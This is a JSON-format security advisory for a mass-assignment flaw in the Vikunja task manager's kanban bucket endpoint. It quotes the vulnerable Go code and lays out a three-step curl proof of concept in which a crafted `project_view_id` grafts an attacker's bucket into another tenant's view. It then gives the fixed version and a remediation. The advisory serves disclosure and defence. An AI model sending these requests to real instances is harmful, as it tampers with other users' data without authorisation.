1 line
5.0 KiB
JSON
1 line
5.0 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-569v-q83c-3j3g","published":"2026-08-28T16:55:16Z","modified":"2026-09-02T19:41:32.561846635Z","aliases":["CVE-2026-55067","GO-2026-6307"],"summary":"Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment","details":"## Summary\n\n`POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`.\n\nThis vulnerability was found using an LLM, and manually verified against latest (2.3.0).\n\n## Vulnerable code\n\n`pkg/models/kanban.go` (lines 348-359):\n\n```go\nfunc (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {\n _, err = s.\n Where(\"id = ?\", b.ID).\n Cols(\n \"title\",\n \"limit\",\n \"position\",\n \"project_view_id\", // mass-assigned from the request body\n ).\n Update(b)\n return\n}\n```\n\n`Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through.\n\n## Proof of Concept\n\n**Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`.\n\n**Step 1:** Attacker creates a fresh bucket in their own project.\n\n```bash\ncurl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \\\n -H 'Authorization: Bearer <attacker_token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"title\":\"PWNED BUCKET\"}' | jq '.id'\n# Returns: 7\n```\n\n**Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks.\n\n```bash\ncurl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \\\n -H 'Authorization: Bearer <attacker_token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"title\":\"PWNED BUCKET\",\"limit\":0,\"project_view_id\":4}' | jq '{id,title,project_view_id}'\n# Returns: {\n# \"id\": 7,\n# \"title\": \"PWNED BUCKET\",\n# \"project_view_id\": 4\n# }\n```\n\n**Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.\n\n```bash\ncurl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \\\n -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'\n# Returns: [\n# {\"id\":7,\"title\":\"PWNED BUCKET\",\"created_by\":\"attacker\"},\n# {\"id\":1,\"title\":\"To-Do\",\"created_by\":\"victim\"},\n# {\"id\":2,\"title\":\"Doing\",\"created_by\":\"victim\"},\n# {\"id\":3,\"title\":\"Done\",\"created_by\":\"victim\"}\n# ]\n```\n\nAfter relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration.\n\n## Impact\n\nAny signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.\n\n## Fix\n\nIn `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate \"move bucket between views\" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.","affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.4.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 2.3.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-569v-q83c-3j3g/GHSA-569v-q83c-3j3g.json"}}],"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-569v-q83c-3j3g"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/pull/3239"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/commit/b31d606b8879ebe98fbb2ac5d8b3066b86f59868"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"}],"database_specific":{"cwe_ids":["CWE-639"],"github_reviewed":true,"github_reviewed_at":"2026-08-28T16:55:16Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"}]} |